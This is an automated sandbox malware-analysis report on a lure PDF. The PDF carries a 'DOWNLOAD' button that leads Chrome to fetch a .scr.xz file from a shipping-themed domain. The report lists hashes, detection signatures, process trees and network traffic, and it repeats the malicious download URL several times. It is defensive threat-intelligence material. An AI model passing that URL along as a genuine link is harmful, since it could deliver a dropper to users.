Edit tour

Windows Analysis Report
IDR-500000000.pdf

Overview

General Information

Sample name:	IDR-500000000.pdf
Analysis ID:	1505478
MD5:	1e6049adf927614a5ea1d585ac10f8e6
SHA1:	bfe64a6bf0f2567e8c1d2211194ea16d5f8fab90
SHA256:	03775e62a1365c52d7c3df5ca2e76a213ed1b20a3b2312ea1a323edf93e496c6
Tags:	dropperpayloadpdf
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

AI detected landing page (webpage, office document or email)

Detected non-DNS traffic on DNS port

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\IDR-500000000.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7768 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1348,i,6875442250273393431,11620017427285945396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 4144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7716 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2068,i,3986211830860752182,14171366589352522847,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: IDR-500000000.pdf

Virustotal: Detection: 7%

Perma Link

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49730 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.231.128.59:443 -> 192.168.2.9:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.231.128.59:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.231.128.59:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.9:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.9:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.9:443 -> 192.168.2.9:49754 version: TLS 1.2

Source: global traffic

TCP traffic: 192.168.2.9:49751 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: */*APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEEjTDMjKMpqponteqD+0pCfgAGgDEirC8xcDiNaGa7543KupGMXRy4d00esKgoVBuje/seoKYClC558BTwHxzXFbZgUnmTnnXB0HzPVxcpNAeQyMZvT1fL/CwMJR5Ja2NGlRiHAbPxDrVeeQUrMbuCv0TZDUQUXbnNnT2WMjxtbQ8a8v/vWxFQvxqAHm/ASDq1g2/vhZ8O5eO+1/DCeE1PZorTG3fq8ThmVyXaaYIrUwYw+C4g7jrIpWEuS1V2UR3TaZmFoKIUKomkhcfJu4sfzvTYgAkWOjrWO4+V0dniO/LjNcijMfAQZ4koP/x5wzTJquIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1725609506069Host: self.events.data.microsoft.comContent-Length: 7976Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 23.47.168.24 23.47.168.24
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 18.207.85.246 18.207.85.246

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49730 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 4.231.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27

Source: global traffic	HTTP traffic detected: GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1Host: p13n.adobe.ioConnection: keep-alivesec-ch-ua: "Chromium";v="105"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01x-adobe-uuid: fdf9e666-cbf4-4e86-8c83-d46a601e2046x-adobe-uuid-type: visitorIdx-api-key: AdobeReader9sec-ch-ua-platform: "Windows"Origin: https://rna-resource.acrobat.comAccept-Language: en-US,en;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rna-resource.acrobat.com/Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SKh5HyDhzsn+dL3&MD=GB49MBOn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /IN/PO/IDR-500000000.scr.xz HTTP/1.1Host: etehadshipping.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SKh5HyDhzsn+dL3&MD=GB49MBOn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: etehadshipping.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A0.2.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: IDR-500000000.pdf	String found in binary or memory: https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz)
Source: ReaderMessages.0.dr	String found in binary or memory: https://www.adobe.co

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.231.128.59:443 -> 192.168.2.9:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.231.128.59:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.231.128.59:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.9:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.9:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.9:443 -> 192.168.2.9:49754 version: TLS 1.2

Source: classification engine

Classification label: mal52.winPDF@47/55@6/10

Source: IDR-500000000.pdf	Initial sample: https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz
Source: IDR-500000000.pdf	Initial sample: https://etehadshipping.com/in/po/idr-500000000.scr.xz

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-09-06 03-53-43-686.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: IDR-500000000.pdf

Virustotal: Detection: 7%

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\IDR-500000000.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1348,i,6875442250273393431,11620017427285945396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://etehadshipping.com/IN/PO/IDR-500000000.scr.xz"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2068,i,3986211830860752182,14171366589352522847,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1348,i,6875442250273393431,11620017427285945396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=2068,i,3986211830860752182,14171366589352522847,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.12.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.12.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.12.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.12.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.12.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.12.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: IDR-500000000.pdf	Initial sample: PDF keyword /JS count = 0
Source: IDR-500000000.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: IDR-500000000.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: PDF document	LLM: Page contains button: 'DOWNLOAD' Source: 'PDF document'
Source: PDF document	LLM: PDF document contains prominent button: 'download'

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
